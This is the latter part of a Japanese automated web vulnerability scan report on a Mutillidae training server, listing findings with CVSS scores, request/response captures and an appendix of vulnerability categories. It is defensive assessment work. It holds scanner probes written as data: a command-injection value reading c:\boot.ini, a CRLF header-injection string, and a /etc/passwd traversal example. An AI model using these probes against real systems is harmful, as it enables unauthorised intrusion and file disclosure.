診断文字列	aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

検出箇所

ステータスコード	500
ヘッダ	
コンテンツ	
応答時間	0.045

リクエストライン

GET http://163.43.26.120/mutillidae/includes/pop-up-help-context-generator.php?pagename=password-generator.phpaaaaaaaaaaa
aaaaaaaaaaa

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	**N:なし**	P:部分的	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	N:なし	**P:部分的**	C:全面的

CVSS 3.1

基本評価基準: 5.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	**N:不要**	L:低	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/includes/pop-up-help-context-generator.php?pagename=password-generator.php	GET	pagename	500	

3.15.セキュリティ上推奨されるHTTPヘッダーの欠如

情報

1 件

概要

以下はHTTPヘッダーに設定することにより、セキュリティを高めることができる設定です。

・X-Frame-Options
クリックジャッキング対策に有効です。
クリックジャッキングとは透明なページをiframeなどで正当なサイト内に重ねて表示しておき、正当なサイトのボタン等を操作しようとすると、透明なページのボタン等を操作してしまうという問題です。そのことにより、意図しない操作が行われる可能性があります。外部サイトからはiframeなどによってページを組み込めないようにすることを推奨いたします。

・X-Content-Type-Options
WebブラウザがHTTPレスポンスの中身を判断して指定したContent-Typeとは違う挙動をすることがあるため、そのことにより意図しない動作になり問題になることがあります。それを回避するためのレスポンスヘッダーに追加することを推奨します。

・X-XSS-Protection
WebブラウザにXSSフィルタ機能が備わっている場合に強制的に機能を有効にするというものです。

対策

該当ページに下記のレスポンスヘッダーを追加することで、外部サイトへのiframeによる取り込みを無効化することができます。

・X-Frame-Options
設定例
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN

設定値
DENY サイト側の意図に関わらず、ページをフレーム内に表示することはできません。
SAMEORIGIN 自身と生成元が同じフレーム内に限り、ページを表示することができます。

X-FRAME-OPTIONS対策バージョン
ブラウザ バージョン
Internet Explorer 8.0以上
Safari 4.0以上
Firefox 3.6.9以上
Google Chrome 4.1.249.1042以上
Opera 10.5以上

・X-Content-Type-Options
設定例
X-Content-Type-Options: nosniff

・X-XSS-Protection
設定例
X-XSS-Protection "1; mode=block"

検出結果

URL	http://163.43.26.120/test.txt
メソッド	GET
パラメータ	

診断文字列	

検出箇所

ステータスコード	
ヘッダ	X-Content-Type-Options
コンテンツ	
応答時間	0.071

リクエストライン

GET http://163.43.26.120/test.txt

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

リクエストボディ

HTTPステータス

404 Not Found

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:44:22 GMT
Server: Apache
Content-Length: 269
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

レスポンスボディ

```
1 : <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
2 : <html><head>
3 : <title>404 Not Found</title>
4 : </head><body>
5 : <h1>Not Found</h1>
6 : <p>The requested URL /test.txt was not found on this server.</p>
7 : <hr>
8 : <address>Apache Server at 163.43.26.120 Port 80</address>
9 : </body></html>
```

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	**N:なし**	P:部分的	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	N:なし	**P:部分的**	C:全面的

CVSS 3.1

基本評価基準: 5.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	**N:不要**	L:低	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/	GET	-	X-Content-Type-Options	

3.16.コメントの検出

情報

1 件

概要

検出したコメントの一覧です。
※異なるURLで同じコメントが記述されていた場合、最初に検出したURLのみ報告しています。

対策

コメント内にログイン情報、個人情報といった重要な情報が記述されていないか確認してください。

検出結果

URL	http://163.43.26.120/mutillidae/
メソッド	GET
パラメータ	

診断文字列	

検出箇所

ステータスコード	
ヘッダ	
コンテンツ	<!--
応答時間	0.063

リクエストライン

GET http://163.43.26.120/mutillidae/

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: ?SCAN_%%0d%%0aSecAppHeader: SecurityScanner-@3591-64@-
Cookie: showhints=1; PHPSESSID=hh4c1tusuutqgj9rgoha2konl1

リクエストボディ

HTTPステータス

200 OK

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:44:23 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 9048
Content-Type: text/html

レスポンスボディ

```
865 :          </ul>
866 :        </li>
867 :    </ul>
868 :    <!-- <br style="clear: left" /> -->
869 : </div>
870 :          <div> </div>
871 :          <div class="label" style="text-align: center;">

909 :        </td>
910 :        <td valign="top">
911 :          <blockquote>
912 :          <!-- Begin Content -->
913 : <style>
914 :    a{
915 :        font-weight: bold;

1142 :    </tr>
1143 : </table>
1144 :
1145 :        <!-- I think the database password is set to blank or perhaps samurai.
1146 :          It depends on whether you installed this web app from irongeeks site or
1147 :          are using it inside Kevin Johnsons Samurai web testing framework.
1148 :          It is ok to put the password in HTML comments because no user will ever see

1149 :          this comment. I remember that security instructor saying we should use the
1150 :          framework comment symbols (ASP.NET, JAVA, PHP, Etc.)
1151 :          rather than HTML comments, but we all know those
1152 :          security instructors are just making all this up. -->          <!-- End Content -->
1153 :        </blockquote>
1154 :          </td>
1155 :        </tr>

1156 :    </table>
1157 :
1158 :
1159 : <!-- Bubble hints code -->
1160 :
1161 : <script type="text/javascript">
1162 :    $(function() {
```

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	N:なし	**P:部分的**	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	**N:なし**	P:部分的	C:全面的

CVSS 3.1

基本評価基準: 5.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	**N:不要**	L:低	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/	GET	-	<!--	

3.17.Directory存在の検出

情報

3 件

概要

Webサーバからの応答の違いにより、特定のディレクトリの存在が確認できます。

対策

外部からアクセス可能なディレクトリのアクセス権限が、適切に行われているかどうかをご確認ください。

検出結果

URL	http://163.43.26.120/icons/small/
メソッド	GET
パラメータ	

診断文字列	icons/small/

検出箇所

ステータスコード	403
ヘッダ	
コンテンツ	
応答時間	0.05

リクエストライン

GET http://163.43.26.120/icons/small/

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

リクエストボディ

HTTPステータス

403 Forbidden

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:44:32 GMT
Server: Apache
Content-Length: 277
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

レスポンスボディ

```
1 : <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
2 : <html><head>
3 : <title>403 Forbidden</title>
4 : </head><body>
5 : <h1>Forbidden</h1>
6 : <p>You don't have permission to access /icons/small/
7 : on this server.</p>
8 : <hr>
9 : <address>Apache Server at 163.43.26.120 Port 80</address>
10 : </body></html>
```

CVSS 2.0

基本評価基準: 0 低

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	**N:なし**	P:部分的	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	**N:なし**	P:部分的	C:全面的

CVSS 3.1

基本評価基準: 5.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	**N:不要**	L:低	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/	GET	-	403	
2	http://163.43.26.120/mutillidae/	GET	-	403	
3	http://163.43.26.120/mutillidae/	GET	-	403	

3.18.メールアドレスの検出

情報

1 件

概要

メールアドレスが検出されました。
Webページに含まれているメールアドレスは、クローラによって収集され迷惑メール送信に利用されています。
またメールアドレスを元に不正アクセスなどの用途に利用される可能性もあります。

対策

必要が無い情報が公開されているシステムは攻撃者の興味を引くことになり攻撃される危険性が高まります。意図しないメールアドレスの場合、削除してください。

検出結果

URL	http://163.43.26.120/icons/README
メソッド	GET
パラメータ	

診断文字列	

検出箇所

ステータスコード	
ヘッダ	
コンテンツ	kevinh@kevcom.com
応答時間	0.046

リクエストライン

GET http://163.43.26.120/icons/README

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

リクエストボディ

HTTPステータス

200 OK

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:44:32 GMT
Server: Apache
Last-Modified: Tue, 28 Aug 2007 10:47:54 GMT
ETag: "13f4-438c034968a80"
Accept-Ranges: bytes
Content-Length: 5108
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

レスポンスボディ

```
3 : These icons were originally made for Mosaic for X and have been
4 : included in the NCSA httpd and Apache server distributions in the
5 : past. They are in the public domain and may be freely included in any
6 : application. The originals were done by Kevin Hughes (kevinh@kevcom.com).
7 : Andy Polyakov tuned the icon colors and added a few new images.
8 :
9 : If you'd like to contribute additions to this set, contact the httpd
```

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	N:なし	**P:部分的**	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	**N:なし**	P:部分的	C:全面的

CVSS 3.1

基本評価基準: 5.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	**N:不要**	L:低	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/	GET	-	kevinh@kevcom.com	

3.19.内部Pathアドレスの検出

情報

8 件

概要

内部pathが検出されました。

対策

必要が無い情報が公開されているシステムは攻撃者の興味を引くことになり攻撃される危険性が高まります。
また、攻撃者が何らかの手段で内部システムへアクセスできた場合この情報が利用されます。
外部へ公開する必要のない情報は、削除するか正しい設定に修正することを推奨いたします。

検出結果

URL	http://163.43.26.120/mutillidae/?page=%26%20type%20c%3A%5Cboot.ini%3B
メソッド	GET
パラメータ	

診断文字列	

検出箇所

ステータスコード	
ヘッダ	
コンテンツ	c:\
応答時間	0.072

リクエストライン

GET http://163.43.26.120/mutillidae/?page=%26%20type%20c%3A%5Cboot.ini%3B

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: showhints=1; PHPSESSID=9f0qcrdc2g5meeg29sgglm7p91

リクエストボディ

HTTPステータス

200 OK

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:48:30 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 7468
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

レスポンスボディ

```
67 :                 <a href="index.php?page=login.php">Login/Register</a>
68 :             </td>
69 :             <td>|</td>
70 :             <td><a href="index.php?do=toggle-hints&page=& type c:\boot.ini;">Toggle Hints</a></td><td>|</td>             <td>
<a href="index.php?do=toggle-bubble-hints&page=& type c:\boot.ini;">Show Popup Hints</a></td>
71 :             <td>|</td>
72 :             <td><a href="index.php?do=toggle-security&page=& type c:\boot.ini;">Toggle Security</a></td>
73 :             <td>|</td>

74 :             <td><a href="index.php?do=toggle-enforce-ssl&page=& type c:\boot.ini;">Enforce SSL</a></td>
75 :             <td>|</td>
76 :             <td><a href="set-up-database.php">Reset DB</a></td>
77 :             <td>|</td>

934 :    </span>
935 :    <span    style="white-space: nowrap; font-weight: bold;"
936 :      title="Click here to see the primary goal of this page. (Additional vulnerabilities will exist on a page)">
937 :    <a    href="./includes/pop-up-help-context-generator.php?pagename=& typec:\boot.ini;"
938 :      class="colorbox"
939 :      title="Help me with page & typec:\boot.ini;" style="color: #000000;">
940 :      <img alt="Help Me!" align="middle" src="./images/help-easy-button-48-48.png" />
```

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	N:なし	**P:部分的**	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	**N:なし**	P:部分的	C:全面的

CVSS 3.1

基本評価基準: 5.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	**N:不要**	L:低	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/index.php?page=login.php	GET	-	c:\	
2	http://163.43.26.120/mutillidae/index.php?do=toggle-hints&page=login.php	GET	-	c:\	
3	http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&PathToDocument=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php	GET	-	c:\	
4	http://163.43.26.120/mutillidae/index.php?page=view-user-privilege-level.php&iv=6bc24fc1ab650b25b4114e93a98f1eba	GET	-	c:\	
5	http://163.43.26.120/mutillidae/index.php?page=styling-frame.php&page-to-frame=styling.php?page-title=Styling+with+Mutillidae	GET	-	c:\	
6	http://163.43.26.120/mutillidae/index.php?page=password-generator.php&username=anonymous	GET	-	c:\	
7	http://163.43.26.120/mutillidae/hints-page-wrapper.php?level1HintIncludeFile=1	GET	-	c:\	
8	http://163.43.26.120/mutillidae/?page=add-to-your-blog.php	GET	-	c:\	

Appendix

Web脆弱性診断カテゴリ概要

クロスサイトスクリプティング

クロスサイトスクリプティングとはWebアプリケーションソフトウェアの脆弱性で、「サイトを跨ってスクリプトを実行する」という意味です。Webアプリケーションで、入力されたデータの内容を充分チェックせずにHTML内に出力していると、HTML内 にJavaScriptなどの任意のコードを埋め込むことができてしまいます。このような状態を「クロスサイトスクリプティング脆弱性がある」と言います。例として、任意のタグがそのまま書き込めてしまう掲示板が挙げられます。悪意あるユーザが「<script>」などのHTMLタグを含む内容を投稿すると、投稿内容を閲覧したときにス クリプトが実行されてしまう危険性があります。スクリプトの内容によってはCookie データの盗聴や改竄などが可能なため、商取引に使ったCookieを横取りして、本人に 成りすまして物品の購入を行ったり、Cookieを認証やセッション管理に使用している サイトに侵入するなど、より広範かつ深刻な被害を与える可能性があります。

SQLインジェクション

「インジェクション(injection)」とは「注入」という意味で、SQLデータベースに対し外部から任意 のSQL文を実行可能な状態を示します。
　受ける被害として、あるユーザが他のユーザのデータを見たり、パスワード情報を取得されるが考え られます。また、発行可能なSQL文の種類や設定によってはデータベース内容の改竄や削除、さらには サーバ内で任意のコマンドを実行することが可能な場合があります。

ディレクトリトラバーサル

アプリケーションやシステムが想定している公開ディレクトリを越えて、ディレクトリを遡ることが 可能な状態を示します。本来公開されていないパスワードファイル等のシステムファイルや個人情報を 含んだファイル等が外部に漏洩する可能性があります。典型的なパターンとしては、「../../../../../etc/passwd」のように「../」を多用してディレクトリを遡りパスワードファイルを取得しようとする攻撃があります。

コマンドインジェクション

外部から任意のOSのコマンドが実行することが可能な状態のことです。ユーザの入力がそのままコマ ンドとして実行可能な個所で使用されている場合に発生します。

強制ブラウジング

意図していないコンテンツが公開ディレクトリ上に存在し、第三者がURLを直接指定することでそれ らのコンテンツが漏洩する可能性のある状態を示します。コンテンツの内容によってはシステム情報や 個人情報の漏洩に繋がることがあります。例えば、アプリケーションのソースコードやアンケート結果のファイル等が公開ディレクトリにそのまま置かれている場合や、Webサーバの設定ミスによりディレクトリの一覧が出力されるものが該当します。

HTTPレスポンス分割

意図していないコンテンツが公開ディレクトリ上に存在し、第三者がURLを直接指定することでそれ らのコンテンツが漏洩する可能性のある状態を示します。コンテンツの内容によってはシステム情報や個人情報の漏洩に繋がることがあります。例えば、アプリケーションのソースコードやアンケート結果のファイル等が公開ディレクトリにそのまま置かれている場合や、Webサーバの設定ミスによりディレクトリの一覧が出力されるものが該当します。

Cookie管理の不備

検査対象サイトで発行されているCookieの管理状態に何らかの不備がある状態を示します。例えば暗号化通信（https）で発行されるCookieにSecure属性が設定されていない物が該当します。Secure属性が設定されていないCookieは非暗号化通信（http）でも送信されるため盗聴の危険性があります。盗聴した情報は不正アクセスに利用される可能性があります。

エラーメッセージの検出

検査実行中に検査用リクエスト等でエラーが発生した状態を示します。エラーメッセージによっては使用している製品やバージョンが判明する場合があります。これら情報は攻撃の際に利用される可能性があります。

製品情報の検出

使用している製品の情報が何らかの手段で取得できる状態を示します。例えば、サーバへのリクエストのレスポンスにバージョン情報が含まれている物が該当します。製品のバージョンによっては既知の脆弱性があるため、これらの情報は攻撃の際に利用される可能性があります。

内部情報の検出

HTMLソースコード内に内部ネットワークのIPアドレスやpathなどの公開する必要のない情報が取得できる状態を示します。これらの情報は攻撃の際に利用される可能性があります。

Web脆弱性診断の危険度判定基準

本検査の目的は、検査対象Webアプリケーションに対してリモートから脆弱性の検査を行い、システム に存在する脆弱性を検出することにあります。 また、脆弱性が検出された場合、そのリスク評価、及び、脆弱性への対策を支援する情報の提供も行います。

危険度	判定基準
緊急	パスワード漏えい、管理者権限昇格など、システム全体に影響する問題です。これらの問題が発生する可能性が極めて高く、即日対応する必要があります。
重大	情報漏洩や、なりすましなど、ユーザ被害が発生する可能性が高い問題です。 このレベルには、クロスサイトスクリプティングやSQLインジェクションなどの問題があり、インシデント報告やOWASP TOP10などで上位を占めるセキュリティ上の問題です。このことから、早急に対応する必要があります。
高	総当たり攻撃や認証回避など、セキュリティ上の問題が発生する可能性があります。システムの仕様などにより、セキュリティ上必要な対策が実施されていない場合このレベルに分類されます。問題が発生する可能性があるため、対応を必ず行うことを推奨します。
中	システムの設定情報や管理情報の漏洩等、システムに対する攻撃手段を提供する可能性がある問題です。 直接被害が発生する可能性は高くないですが、他のセキュリティ上の問題と組み合わさるとレベルが上がる可能性があります。 問題になる可能性があるため対策を検討してください。
低	バージョン情報表示や、バナー情報表示など、攻撃者の興味を引く可能性のある問題です。直接悪用されるよりは、このレベルの情報から攻撃手法を絞っていくことがあります。 予防するうえで対策を検討してください。
情報	品質やセキュリティのさらなる向上のために弊社が推奨する項目です。

評価基準

本報告書における総合評価は、以下に規定される絶対評価によるものです。絶対評価は、A、B、C、D のいずれかのアルファベット1文字で表記され、検査結果を絶対評価の評価基準に照合し適合するクラスが評価として与えられます。

評価レベル	評価基準	検出件数
A	早急に対策が必要な脆弱性は検出されませんでした。	「情報」のみ検出、または検出件数0件
B	直接的に被害を受ける可能性は低いと推測されますが、脆弱性が確認されております。検出内容を確認の上、対策の検討を行うことを推奨します。	危険度「高」以上の脆弱性は1件も検出されず、危険度「低」または「中」の脆弱性を1件以上検出
C	被害を受ける可能性のある脆弱性が確認されております。早急に対策の検討を行うことを推奨します。	危険度「重大」以上の脆弱性は1件も検出されず、危険度「高」の脆弱性を1件以上検出
D	大きな被害を受けることが懸念される危険性の高い脆弱性が確認されております。早急に対策を行うことを推奨します。	危険度「重大」以上の脆弱性を1件以上検出

なお、上記評価基準は本検査において検出された脆弱性の検出件数を基に、検査結果を簡潔に表現するために作成された独自基準になります。上記評価基準による評価は、あくまでも検査結果を簡潔に表現するためのものであり、弊社は評価に対しての保証や責任は負いかねますので、あらかじめご了承ください。

お問い合わせ

株式会社M＆K
サポート担当 support@m-kcompany.co.jp